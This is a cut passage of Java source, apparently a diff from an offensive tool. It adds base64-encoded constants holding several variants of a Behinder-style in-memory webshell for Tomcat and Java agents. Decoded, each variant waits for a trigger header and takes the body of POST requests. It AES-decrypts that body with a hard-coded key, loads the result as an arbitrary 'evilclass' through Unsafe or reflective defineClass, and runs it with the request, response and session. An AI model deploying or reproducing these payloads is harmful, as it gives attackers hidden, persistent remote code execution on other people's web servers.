JaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; + + public static String BEHINDER_SHELL_FOR_TOMCAT = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String BEHINDER_SHELL = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String BEHINDER_SHELL_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; + + public static String BEHINDER_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiAgICAgICAgIHNlc3Npb24gICAgID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoJCWlmIChyZXF1ZXN0LmdldFJlcXVlc3RVUkkoKS5jb250YWlucyhwYXRoUGF0dGVybikpIHsKCQkJamF2YS51dGlsLk1hcCBvYmogPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJb2JqLnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOwoJCQlvYmoucHV0KCJyZXNwb25zZSIsIHJlc3BvbnNlKTsKCQkJb2JqLnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoJCQlDbGFzc0xvYWRlciBsb2FkZXIgPSB0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKTsKCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikgJiYgcmVxdWVzdC5nZXRIZWFkZXIoIiVzIikuZXF1YWxzKCIlcyIpKSB7CgkJCQl0cnkgewoJCQkJCVN0cmluZyBrID0gIiVzIjsKCQkJCQlzZXNzaW9uLnB1dFZhbHVlKCJ1Iiwgayk7CgkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIHN5c3RlbUxvYWRlciA9IGphdmEubGFuZy5DbGFzc0xvYWRlci5nZXRTeXN0ZW1DbGFzc0xvYWRlcigpOwoJCQkJCUNsYXNzICAgICAgICAgICAgICAgICBjaXBoZXJDbHMgICAgPSBzeXN0ZW1Mb2FkZXIubG9hZENsYXNzKCJqYXZheC5jcnlwdG8uQ2lwaGVyIik7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGMgICAgICAgICAgICA9IGNpcGhlckNscy5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0SW5zdGFuY2UiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNpcGhlckNscywgbmV3IE9iamVjdFtdeyJBRVMifSk7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGtleU9iaiAgICAgICA9IHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMiKS5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzcywgU3RyaW5nLmNsYXNzfSkubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2suZ2V0Qnl0ZXMoKSwgIkFFUyJ9KTsKCQkJCQk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGluaXRNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImluaXQiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmEuc2VjdXJpdHkuS2V5Iil9KTsKCQkJCQlpbml0TWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117bmV3IEludGVnZXIoMiksIGtleU9ian0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgIGRvRmluYWxNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImRvRmluYWwiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KTsKCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBib3MgICAgICAgICAgID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJYnl0ZVtdICAgICAgICAgICAgICAgICAgICAgICAgYnVmICAgICAgICAgICA9IG5ldyBieXRlWzUxMl07CgkJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuZ3RoICAgICAgICA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKS5yZWFkKGJ1Zik7CgkJCQkJd2hpbGUgKGxlbmd0aCA+IDApIHsKCQkJCQkJYm9zLndyaXRlKGJ1ZiwgMCwgbGVuZ3RoKTsKCQkJCQkJbGVuZ3RoID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpLnJlYWQoYnVmKTsKCQkJCQl9CgkJCQkJYnl0ZVtdIHJlcXVlc3RCb2R5ID0gY